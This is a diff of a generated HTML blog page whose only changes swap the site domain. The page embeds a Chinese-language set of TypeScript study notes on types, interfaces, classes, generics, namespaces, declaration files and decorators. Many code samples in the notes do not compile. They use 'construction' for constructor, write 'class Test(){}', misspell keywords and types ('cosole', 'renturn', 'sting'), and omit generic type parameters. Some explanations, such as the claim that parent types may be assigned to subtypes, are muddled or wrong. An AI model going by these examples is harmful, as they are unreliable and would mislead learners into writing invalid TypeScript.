-let hallo: number = 123;"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/58/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="TypeScript学习笔记"><meta property="og:description" content="TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
+let hallo: number = 123;"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/58/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="TypeScript学习笔记"><meta property="og:description" content="TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
 TypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）
@@ -71,7 +71,7 @@
 boolean布尔值，例如：
 let hallo: boolean = true
 number数值，例如：
-let hallo: number = 123;"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/58/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-18T15:50:00+00:00"><meta property="article:modified_time" content="2021-07-18T15:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="TypeScript学习笔记"><meta name=twitter:description content="TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
+let hallo: number = 123;"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/58/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-07-18T15:50:00+00:00"><meta property="article:modified_time" content="2021-07-18T15:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="TypeScript学习笔记"><meta name=twitter:description content="TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上
 TypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript
 TypeScript实质上就是JavaScript的扩展，JavaScript超集
 TypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）
@@ -107,7 +107,7 @@
 boolean布尔值，例如：
 let hallo: boolean = true
 number数值，例如：
-let hallo: number = 123;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"TypeScript学习笔记","item":"https://xiaochenabc123.github.io/posts/58/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"TypeScript学习笔记","name":"TypeScript学习笔记","description":"TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上\nTypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript\nTypeScript实质上就是JavaScript的扩展，JavaScript超集\nTypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）\nTypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）\n全局安装typescript\nyarn global add typescript\n或者\nnpm install -g typescript\n安装ts-node（node不能直接运行ts文件，需要安装ts-node包）\nnpm install -g ts-node\nts-node运行（不需要编译成js文件，直接运行ts）\nts-node hallo.ts\n检查是否安装成功\ntsc -v\n使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀\n创建tsconfig.json\nnpx tsc \u0026ndash;init\n执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）\ntsc\n或者指定编译的文件\ntsc ./src/index.ts\ntsc ./src/index.ts -t es6 -m cjs\n注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports\n编译指定ts文件（在compilerOptions同级）\n\u0026ldquo;include\u0026rdquo;:[\u0026quot;./test1.ts\u0026quot;] // 指定编译哪个ts文件 \u0026ldquo;excclude\u0026rdquo;:[\u0026quot;./test.ts\u0026quot;] // 指定不编译哪个ts文件\n编译TypeScript文件\ntsc hallo.ts\n变量声明\n推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）\n基础类型\nTypeScript具有强类型的特点\nboolean，string，number，array，null，undefined，object，tuple，enum，void，never，any\nboolean布尔值，例如：\nlet hallo: boolean = true\nnumber数值，例如：\nlet hallo: number = 123;","keywords":["TypeScript"],"articleBody":"TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上\nTypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript\nTypeScript实质上就是JavaScript的扩展，JavaScript超集\nTypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）\nTypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）\n全局安装typescript\nyarn global add typescript\n或者\nnpm install -g typescript\n安装ts-node（node不能直接运行ts文件，需要安装ts-node包）\nnpm install -g ts-node\nts-node运行（不需要编译成js文件，直接运行ts）\nts-node hallo.ts\n检查是否安装成功\ntsc -v\n使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀\n创建tsconfig.json\nnpx tsc –init\n执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）\ntsc\n或者指定编译的文件\ntsc ./src/index.ts\ntsc ./src/index.ts -t es6 -m cjs\n注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports\n编译指定ts文件（在compilerOptions同级）\n“include”:[\"./test1.ts\"] // 指定编译哪个ts文件 “excclude”:[\"./test.ts\"] // 指定不编译哪个ts文件\n编译TypeScript文件\ntsc hallo.ts\n变量声明\n推荐使用const和let声明变量，而不要使用var声明（因为var具有变量提升和重定义）\n基础类型\nTypeScript具有强类型的特点\nboolean，string，number，array，null，undefined，object，tuple，enum，void，never，any\nboolean布尔值，例如：\nlet hallo: boolean = true\nnumber数值，例如：\nlet hallo: number = 123;\n二进制和八进制，十进制，十六进制都可以用number类型来表示\nstring字符串\nlet hallo: string = hallo;\nvoid类型（当一个函数没有返回值时，那么其返回值类型就可以定义为void）\nfunction voiddemo(): void {\rlet a = 10;\r}\rvoid类型只有两个值，undefined和null\nundefined类型和null类型是所有类型的子类型\nAny（当不清楚类型的变量指定一个类型，有可能这个变量的类型是动态的，想跳过类型检查就可以用这个）\nlet abc: any =123;\nabc = hallo;\nvoid（表示没有任何类型，当一个函数没有返回值，那么其返回值类型就是void）\n声明一个void类型的变量，这个变量只能选择两个值undefined和null其中一个\nlet und void = undefined;\nundefined和null和JavaScript中概念是一样的，空，未定义\nobject，就是非基础类型，和JavaScript中概念是一样的\n枚举，数组，元组，对象都是object类型\nlet obj: object;\narray数组\nlet arrs: number[] = [1,2,3];\nlet arrs: Array = [1,2,3];\ntuple元组：元组类型允许一个数组的元素是不同的类型的，但是必须按照要求来定义，例如\nlet x [string, number?]; x = [‘hello’, 10];\nx.push(“hi”);\ntuple元组是固定长度，固定类型，长度不能多不能少，类型必须要一一对应\n元组类型允许在类型后缀一个?来说明该元素是可选的，可选元素必须要在必选元素后面，否则有一个元素后面加了?，那么其后面全部元素都要加?\n注意：元组虽然可以越界添加元素（不推荐），但是不可越界访问\nenum枚举（允许为一组数值赋予名字）\nenum hallo {a, b, c}\nhallo.a === 0 // true\n默认从0开始，当然也可以手动指定数值\nenum hallo {a=6, b, c}\n最强大的一处是，可以根据值来得到它的名字\nlet yes: string = hallo[6];\nconsole.log(yes);\n如果分开声明名称相同的枚举，那么就会自动合并\nbigint类型（可以表示任意大的整数，Number类型能表示的最大整数为2^53 - 1）\n在整数后面加n或者调用BigInt()函数来定义bigint，也可以在BigInt()函数中用字符串，这三种方式表达的出来的值都是一样的\nlet abc: bigint = 8888888888888888888888888n\nlet xyz: bigint = BigInt(8888888888888888888888888)\nabc === xyz // true\nSymbol类型（每个symbol值都是唯一的）\nlet abc: symbol = Symbol(“hallo”)\nlet xyz: symbol = Symbol(“hallo”)\nabc === xyz // false\nnever类型（表示那些永远不存在的值的类型，永不为真）\nnever类型是任何类型的子类型，也可以赋值给任何类型，但是没有类型是never子类型或者赋值给never类型（除了never本身），连any都不能赋值给never\n抛出异常或者不会有返回值的函数，其函数返回值类型为never\nunknown类型是any类型对应的安全类型\nunknown类型只能赋值给any和unknown类型本身\nlet abc: unknown\nlet a: any = abc // yes\nlet b: unknown = abc // yes\nlet c: number = abc // Error\nunknown类型被确认为某个类型之前，不能被进行函数执行，实例化之类的操作\n类型断言\nas语法\nlet hallo any =hallo;\nlet abc number = (hallo as string).length;\n尖括号语法\nlet hallo any =hallo;\nlet abc number = (stringhallo).length;\n面向对象\n以键值对的方式表示的都是对象，多个键值对用逗号,分隔\nconst obj = {hallo: ‘123world’}\nconsole.log(obj.hallo)\nTypeScript在对象被定义时已经设置了类型，当引用不存在的，会报错\ninterface接口\n限制传入的参数的值\ninterface hallo{\ra?: number;\rb: number;\rreadonly c: string;\r[Name: string]: any;\r}\rfunction abc(as: hallo) {\rconsole.log(as.a)\r}\rlet myabc: hallo = {\ra: 123,\rb: 666,\rc: \"hallo\",\rxyz(){\rreturn 'hallo word';\r}\r}\rabc(myabc)\r在属性名前使用readonly指定其为只读属性\ninterface和type的区别：interface表示一个对象的属性类型，而type被作为类型别名使用，例如：\ntype testa = sting\rtesta就是sting类型的别名，而interface不能\n在属性名后使用?指定其为可选的\n接口用于类上\nclass Test implements hallo{\ra: 1,\rb: 2,\rc: \"abchhh\",\rxyz(){\rreturn 'hallo ts';\r}\r}\r不要把接口来当type用，这是错误的用法，是用来定义一个对象中有哪些属性，有哪些方法，方法里面有哪些属性，参数等等，接口本身就是为了规范一个对象的行为，使用implements关键字就表示该对象就是这个接口的实现\n接口的继承\ninterface hallo{\ra?: number;\rb: number;\rreadonly c: string;\r[Name: string]: any;\r}\rinterface Test extends hallo{\rabcxyz(): string; // 这里继承了hallo接口，并且还给自己定义了个返回值为string类型的abcxyz()方法\r}\rfunction abc(as: Test) {\rconsole.log(as.a)\r}\rlet myabc: Test = {\ra: 123,\rb: 666,\rc: \"hallo\",\rxyz(){\rreturn 'hallo word';\r}\rabcxyz(){\rreturn 1+2;\r}\r}\rabc(myabc)\r函数的接口定义\ninterface abc1{\r(test: string): string;\r}\rlet abc: abc1 = (a: string) =\u003e {\rreturn a; }\rlet a = abc('hallo word')\rconsole(a)\r使用[]括起来表示这是任意数量的属性，只要不是已经存在（被定义）的属性\nlet abc: {\rname: string;\rpass: string;\r} = {\rname: 'root',\rpass: '123456'\r};\rlet xyz : number[] = [1,2,3,4,5,6];\rclass Tabcxyz{}\rlet a1: Tabcxyz = new Tabcxyz();\rlet a2: () =\u003e string = () =\u003e {\rreturn 'hallo word'; // 函数返回值类型\r}\r判断数据类型\nlet abc: number = 123;\ntypeof abc === “number”; // tuer\nts具备自动分析变量类型功能，当无法分析时，才需要使用类型注解\nlet domeTest = 123 // number，自动分析变量类型功\nlet abc: number; // 类型注解\nnumber = 123\n函数\nfunction abc(): number{\rreturn 123; // 这个number表示函数返回值的类型\r}\r函数参数类型\nfunction abc(a:number,b:number): number{\rreturn a+b; // 这个number表示函数返回值的类型\r}\rlet xyz = abc(1+2)\r函数解构参数类型\nfunction abc({a,b}: {a: number,b: number}): number{\rreturn a+b; // 这个number表示函数返回值的类型\r}\rlet xyz = abc(1+2)\r数组与元组（tuple）\n当数组元素存在不同类型时\nlet arr:(number | string | boolean)[] = [1,'hallo', true, 123, 'hhh']; // 表示数组元素可以是number和string和boolean\r数组对象类型\nlet objarr:{name: string, age: number, pass: string}[] = [{\rname: 'root',\rage: 18,\rpass: '123456'\r}]\r或者\ntype objclass = {name: string, age: number, pass: string}\rlet abc : objclass[] = [{\rname: 'root',\rage: 18,\rpass: '123456'\r}]\r或者\nclass Abctest{\rname: string, age: number, pass: string }\rlet abc : Abctest[] = [\rnew Abctest(),\r{\rname: 'root',\rage: 18,\rpass: '123456'\r}\r]\r元组（元组的长度和类型是固定的，数组每一项都必须对于类型的每一项）\nlet abc: [sting, number, sting] = [\r'root',\r18,\r'123456'\r]\r多维元组\nlet abc: [sting, number, sting][] = [\r['root',18,'123456'],\r['admin',16,'123456789'],\r['test',20,'test123'],\r]\r类的定义与继承\nclass Demo{\rname = 'root';\rTest(){\rreturn this.name;\r}\r}\rclass Demo1 extends Demo{\rname = 'admin'; // 重写 name属性\rTest1(){\rreturn 'hallo ts'; // 继承Demo类的同时，自己还具备Demo不存在的Test1()方法\r}\rTest(){\rreturn 'hallo' + super.Test() // 如果在重写父类的方法时，还想调用父类的方法时，可使用super调用\r}\r}\rlet demo1 = new Demo1();\rconsole.log(demo1.Test());\rconsole.log(demo1.Test1());\r类的访问类型（private，protected，public）和构造器（construction）\nclass Test(){\rpublic name: string; // 类外可被调用\rprotected pass: string; // 类内以及被继承到的子类调用\rprivate Testa(){\rconsole.log('hallo word') // 类内可被调用，类外不可调用\r}\r}\rlet test1 = new Test();\rtets1.name = 'hallo';\rconsole.log(tets1.name);\rclass Test1 extends Test{\rpublic Testaa(){\rcosole.log(this.pass);\r}\r}\rconstruction构造器（construction方法是类内部提供的，当一个类被new了，那么该类construction方法就会触发）\nclass Test(){\rpublic name: string;\rprotected pass: string;\rconstruction(name: string){\rthis.name = name;\r}\r}\rlet test1 = new Test('admin');\rcosole.log(test1.name);\r注意：当父类存在construction时，子类也有construction时，需要手动调用父类的construction（调用super()）\n静态类型，setter和getter（暴露私有属性并且保护私有属性）\nclass Test(){\rprivate _name: string; // name属性是私有属性，无法被类外调用\rconstruction(name: string){\rthis._name = name;\r}\rget getName(){\rreturn this._name; // 通过getName方法对外暴露name属性\r}\rset setName(name: string){\rlet Tname = name.split('')[0]; // // 通过setName方法对外暴露name属性\rthis._name = name\r}\r}\rlet test1 = new Test('admin');\rcosole.log(test1.getName);\r单例模式\nclass Test(){\rprivate static Testabc: Test;\rprivate construction(){} // 禁止通过new创建实例\rpublic getTest(){\rif (!this.Testabc) {\rthis.Testabc = new Test(); // 判断如果Testabc不存在时，Testabc等于Test实例\rreturn this.Testabc; // 返回存储了Test实例的属性\r}\rreturn this.Testabc; // 对外暴露这个存储了Test实例的属性\r}\r}\rlet test1 = Test.getTest() // 存储了Test实例的属性赋值给了test1变量\rlet test2 = Test.getTest() // 存储了Test实例的属性赋值给了test2变量\rconsole.log(test1 === test2); // true 这两个存储了Test实例的变量实质上还是同一个\r抽象类（抽象类只能被继承，类的抽象进行封装，复用）\nabstract class Abc{\rname: string;\rabstract getTest1(): string;\r}\rclass Test extends Abc(){\rconstructor(){\rsuper();\r}\rgetTest1(){\rreturn 'hallo word';\r}\r}\rclass Test1 extends Abc(){\rconstructor(){\rsuper();\r}\rgetTest1(){\rreturn 'hallo hhh';\r}\r}\rlet test1 = new Test();\rconsole.log(test1.getTest1);\r联合类型和类型保护\n联合类型就是给一些类型出来，只要满足其中一种类型就可以，例如：\nlet a : number | string = 'hallo word'\ra = 66 // a变量需要满足number或者string其中一种类型就可以了\r类型保护就是通过类型断言，class或者instanceof来保护类型\nenum枚举类型\n枚举通过enum关键字创建，并且枚举元素一被定义将无法改变，格式和对象类似\nenum a{\rname,\rage,\rpass\r}\rconsole.log(a.age) // 1\rconsole.log(a[1]) // age\r枚举元素默认第一个值从0开始递增，另外key和value是能互相访问的（这些规则只能用于数值枚举元素，其他类型无效）\nenum a{\rname = 'root',\rage = 18,\rpass = '123456'\r}\r上面这个例子为异构枚举，允许数值枚举和字符串枚举混合使用\n注意：当然枚举存在字符串枚举成员时，是不能存在计算的\n函数泛型（泛型：generic，表示泛指的类型）\nfunction abc(a: XYZ,b: XYZ){\rreturn a + b; }\rabc('hallo','root');\r类泛型和泛型类型\nclass Demo{\rages: XYZ[]\rgetDemo(a:number): XYZ{\rreturn this.ages[a]\r}\r}\rlet demo = new Demo([1])\rdemo.getDemo(0)\r命名空间namespace（在命名空间内部定义的变量，类只能在该命名空间内部金额访问到，如果需要外部访问需要export导出）\nnamespace Test{\rlet a = \"hallo word\";\rexport function b(i: number){\rreturn i;\r}\r}\r命名空间的实现原理就是立即执行函数搭配闭包，闭包可以减少全局变量的诞生，而如果进行导出export了，那么该被导出的变量会暴露到全局环境下\n可以给函数，class，enum枚举类型声明命名空间（必须在声明函数，class，enum之后使用命名空间） 命名空间与函数，class，enum枚举类型同名，命名空间将作为补充，例如：\nfunction Test(){}\rnamespace Test{\rlet a = \"hallo word\";\rexport function b(i: number){\rreturn i;\r}\r}\rconsole.log(Test.a,Test.b(123))\r命名空间别名\nimport test = Test.b\r合并命名空间\n如果是同名的命名空间，会自动合并成一个（注意：合并只针对导出的成员，而且不能重名）\n如果是不同文件下命名空间，例如：\na.ts\nnamespace Test{\rlet a = \"hallo word\";\rfunction b(i: number)\rreturn i;\r}\rb.ts /// // 会在编译b.ts之前编译a.ts namespace Test{ import a = Test.a console.log(a) }\n类型注解文件（.d.ts）\n类型注解声明需使用declare或export关键字，declare是定义全局，可直接引用，而export需要使用import导出\n注意：当定义interface接口或者type类型的时候，不需要加declare或export关键字\n定义全局变量abc，它的类型是string（除了var关键字可以定义外，还有let，const都可以定义）\ndeclare var abc: string;\r定义全局函数abc()，该函数的参数为string类型，返回值也是对象，并且定义该对象中存在一个data方法，该方法接收一个string类型的参数，该方法的返回值是string类型\ndeclare function abc(param:string): {\rdata: (data: string) =\u003e string;\r};\rabc('test').data('hallo word');\r定义接口 Abc，该接口被用于函数abc()上，表示abc()函数的返回值类型\ninterface Abc{\rtest: (str: string) =\u003e{};\r}\rdeclare function abc(): Abc;\r函数重载：类型注解是允许多次定义函数的类型注解声明\n声明对象Abc，该对象下存在着Test对象，Test对象下存在Data()构造函数\ndeclare namespace Abc {\rnamespace Test {\rclass Data {}\r}\r}\rnew Abc.Test.Data()\r模块化的类型注解\n定义一个Test模块的类型注解，该模块存在一个Abc方法，该方法也存在一个test方法，test方法的返回值为对象\ndeclare module 'Test' {\rinterface Abc{\rtest: (str: string) =\u003e{};\r}\rexport = Abc;\r}\rimport Abc form 'Test'\rAbc.test('hallo word')\r当ts项目需要用到外部库时（例如Jquery），需要提供其类型注解文件，声明其对外的接口，常用的库社区都会提供类型注解文件，一般情况下其类型注解文件都是在该包的源码目录下，如果没有需要进行下载，例如npm i @types/jquery\n泛型的keyof关键字\ninterface Test{\rname: string;\rpass: string;\rage: number;\r}\rclass Abc{\rconstructor(private data: Test)\rgetData(key: T): Test[T] {\rrenturn this.data[key]\r}\r}\rconst TestData = new Abc({\rname: 'root',\rpass: '123456',\rage: 20\r})\rconst test = TestData.getData('name');\rconsole.log(test)\r从上面例子中的，可以看到keyof的作用就是遍历类型的属性，keyof的返回值类型其实是个联合类型（key也是可以用来搞class）\n上面例子输入的key参数不为Test接口定义属性时会提示错误\n装饰器：装饰器本身是函数，装饰器通过@来调用，通过装饰器来扩展目标的功能\n注意：装饰器目前是实验功能，需要手动开启实验功能，在tsconfig.json找到experimentalDecorators和emitDecoratorMetadata设置为true\n类的装饰器（会在类创建完毕后立即执行装饰器，注意：对类装饰，并不对实例装饰，类装饰器的参数是构造函数）\nfunction Abc(constructor: any){\rconsole.log('hallo word');\r}\r@Abc\rclass Test{}\rlet test = new Test();\r方法的装饰器（方法装饰器有3个参数，分别是类的构造方法，方法名，方法的属性描述符）\n属性的装饰器（属性装饰器有2个参数，分别是类的原型，属性名）\n参数的装饰器（函数的参数装饰器有3个参数，分别是类的构造函数，参数名，参数在参数列表中的索引）\n协变和逆变\nTypeScript允许子类型赋值给父类型，也允许父类型赋值给子类型，因为这是类型安全的，是完全允许的，例如：\ntype Test = {\rname: string;\r}\rtype Abc = {\rname: string;\rpass: string;\r}\rlet a: Test = {\rname: 'root'\r}\rlet b: Abc = {\rname: 'root'\rpass: '123456'\r}\rb = a\r子类型可以赋值给父类型，而这个就叫协变，允许赋值时给一个更全面的类型或者相同的类型（父类是子类的超类）\nTypeScript不需要通过extends继承来确定，而是通过类型结构（structual type）来确定父子关系的\n逆变\n父类型可以赋值给子类型，函数参数具有逆变的特性，例如：\ntype Test = {\rname: string;\r}\rtype Abc = {\rname: string;\rpass: string;\r}\rlet hallo = (a: Abc) =\u003e{\rconsole.log(a)\r}\rlet hi = (b: Test) =\u003e{\rconsole.log(b)\r}\rhallo = hi\r注意：协变和逆变作用只生效于父子类型，非父子类型不会发生\nts允许符合一个接口的前提下扩展，但是有个例外，不允许使用字面量的方式（但是可以使用as和\u003c\u003e类型断言来允许）\n可索引接口，索引签名\n函数接口\nlet abc:(a:number,b:number)=\u003e number\rinterface abc{\r(a:number,b:number):number\r}\r函数接口的实现要求形参和实参必须一一对应（可选参数和剩余参数（扩展）除外）\n函数重载（ts允许函数名相同，但是参数个数和类型不相同）\nfunction abc(...a: number[]): number\rfunction abc(...a: string[]): string\rfunction abc(...a: any[]):any{\rlet xyz = a[0]\rif(typeof xyz === 'string'){\rreturn a.join('')\r}\rif(typeof xyz === 'number'){\rreturn a.reduce((x,y)=\u003ex+y)\r}\r}\r多态：通过父类抽象方法，让子类可以重写该方法\n类接口和实现的成员修饰符必须相等，不能接口是公有属性，实现变成的私有属性\n接口可以继承多个接口，多个接口用逗号分隔，而且该接口的实现必须满足多个接口的要求\n接口也可以继承类，一个子类可以继承父类的同时还可以实现接口\n接口只能约束类的公有成员，接口可以抽离类的公有，私有，受保护成员\nts类型检查机制：类型推断，类型兼容性，类型保护\n类型推断：ts可以根据规则来自动推断出一个类型，基础类型推断，最佳通用类型推断，以及上下文类型推断\n类型断言可以覆盖ts的自动类型推断，错误的类型断言很危险\n类型兼容：ts允许一个子类类型兼容父类\ntype a = {\raa: number\r}\rtype b = {\raa: number,\rab: string\r}\rlet abc: a = {aa:1}\rlet xyz: b = {aa:2,ab:'hallo'}\rabc = xyz\r// xyz = abc 不兼容，因为abc不符合xyz类型的要求，但是xyz符合abc的类型（在满足类型要求上扩展类型）\r源类型满足目标类型的要求时，源类型可以赋值给目标类型\n函数类型兼容：源函数参数个数必须小于等于目标函数，固定参数可以兼容可选参数和扩展参数，但是可选参数是不兼容固定参数和扩展参数的，扩展参数兼容固定参数和可选参数，而且参数类型必须匹配\nlet abc = (a:number,b:number) =\u003e{}\rlet xyz = (a:number) =\u003e{}\rabc = xyz\r接口的类型兼容：a接口的定义满足b接口的定义时，a的实现可以赋值给b的实现（多兼容少的）\ninterface A{abc: number}\rinterface B{abc: number,xyz: string}\rlet a = (abc: A) =\u003e {}\rlet b = (abc: B) =\u003e {}\rb = a\r类型保护：在某个特定的区块中保证变量属性某个确认的类型，在该区块可以放心使用该类型的属性和方法\n可以用类型也可以用类 if(abc instanceof number){}else{}\n对象属性 if(‘data’ in abc){}else{}\n基本类型 if(typeof a === ‘string’){}else{}\n类型位词\nfunction isnumber(a: abc | xyz): a is number{\rreturn (a as abc).data !== undefined\r}\r通过返回值来确定类型\n高级类型（这些高级类型更像是工具类型）\n交叉类型与联合类型\ninterface A{abc: number}\rinterface B{abc: number,xyz: string}\rlet hhh : A \u0026 B = {\rabc: 123,\rxyz: 'hallo'\r}\rhhh实现具备了A和B接口全部特性，交叉类型是取全部接口的并集\nlet a: number | string = 'hallo'\r联合类型还可以通过字面量来限制变量的取值\nlet a: 1 | 2 | 3\r联合类型对于类只能访问其共有成员（取交集）\nclass a{\rdata(){}\rabc(){}\r}\rclass b{\rdata(){}\rxyz(){}\r}\renum gg{a,b}\rlet hhh = gg.a ? new a() : new b{}\rhhh.data()\r也可以利用联合类型来根据共用成员的值来做类型保护区块\n索引类型（对于索引做类型约束）\ninterface B{abc: number,xyz: string}\rlet key: keyof B\rlet value: B['abc']\rlet obj={a:'hallo',b:'abc',c:'xyz'}\rfunction get(obj: T,keys:K[]): T[K][]{\rreturn keys.map(key =\u003e obj[key]) }\rget(obj,['a','b','c'])\r当索引不存在的属性时，ts会报错提示\n映射类型\ninterface A{abc: string,xyz: number, hhh: boolean}\rtype a = Readonly\r可以看到类型别名a是对于属性是只读的\nReadonly的实现是索引类型\ntype Readonly ={readonly [P in keyof T]: T[P]}\r把接口属性变成可选的\ntype b = Partial\rPartial的实现\ntype Partial = {[P in keyof T]?: T[P]}\rRequired将接口属性变成必选\ntype c = Required\rRequired的实现\ntype Required = {[P in keyof T]-?: T[P]}\r抽取接口的指定属性，来创建一个新的类型\ntype abc = Pick","wordCount":"2003","inLanguage":"en","datePublished":"2021-07-18T15:50:00Z","dateModified":"2021-07-18T15:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/58/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: 